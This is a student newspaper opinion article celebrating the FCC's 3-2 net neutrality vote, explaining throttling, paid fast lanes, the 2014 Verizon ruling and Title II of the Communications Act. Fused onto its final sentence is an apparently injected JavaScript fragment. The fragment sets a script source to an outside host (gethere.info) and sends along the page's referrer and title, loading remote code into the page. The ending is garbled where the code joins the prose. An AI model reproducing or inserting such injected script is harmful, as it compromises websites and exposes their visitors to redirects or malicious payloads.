3, 2, 1, Net Neutrality is a Go!

Rebecca Christensen, Cactus Writer

Sitting in class on Feb 26th, I was hard-pressed not to jump for joy when the articles started to seep out with the news that net neutrality had been passed 3-2. I instead waited a few more hours until more credible sources had reported on the subject.

If you have no clue what I’m talking about, or what net neutrality is, here’s a quick run down. Net neutrality is the idea that broadband companies (i.e. your internet providers) don’t get to control what websites you frequent by blocking the content you want to access, or by slowing down your connection to those websites.

For example, your Internet service provider, or ISP, could allow you to visit Facebook, but not allow you to visit a website to torrent or stream copyrighted content (don’t give me that face, you know you do it). Or perhaps they just want to slow down your connection to Netflix, to the point that Netflix is rendered unusable.

Another consequence that could take place in the absence of net neutrality is that larger, wealthier companies such as Google, Twitter, or Facebook could pay ISPs to provide faster service to customers, creating a so-called ‘internet fast-lane’. However, this leaves behind smaller start up companies and websites, ones that aren’t able to purchase priority access, and makes it more difficult for them, leaving them in the ‘slow lane’.

Now, in reality, there haven’t been any regulations in place to keep your ISP’s from doing that since about January of 2014, when the District of Columbia Circuit overturned any rules that were preventing it due to a Verizon lawsuit. Because there has been so much attention focused on this issue, however, no ISP has wanted to attract any attention to themselves by blocking websites.

Let’s back up a little and discuss Title II of the Communications Act, which is what phone services operate under. In the 1930s, there was a big uproar about not changing the price of phone service depending on the customer (usually charging an inordinate amount to big wig companies that relied upon phones), which ultimately ended with the Communications Act of 1934 being passed. The idea behind this act was that the service being provided (i.e. phone service) was so essential to the economy, and to public good, that it needed to be provided fairly and equally to all who used it.

Title II is now relevant again because, in the last several months, people have wanted the Internet to be classified under Title II for protection. Think about it. Where do you go for research papers, or the daily news and weather reports? What about for news from around the world, to talk to your friends, or your family in countries thousands of miles away, and so on? It seems like a no brainer that we would want the Internet to be protected thus.

I’ve only touched upon a couple of the effects of what would happen if the internet wasn’t reclassified to be under Title II. You can visit publicknowledge.org/issues/net-neutrality if you want to learn more. There is a list of what the changes were, but the overarching one is that broadband providers can’t give preferential treatment to certain websites, or levy fees in order to do so.

However, the passing of net neutrality by the Federal Communications Commission, or the FCC, is not the end of the issue. Already, infuriated companies are gearing up towards lawsuits. So keep your eyes open and your ears listening in the following months as the FCC implements the newly passed regulations, and the telecommunication companies riot like five-year olds denied their lollipops. If nothing else, it’ll make for an amusing distraction.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;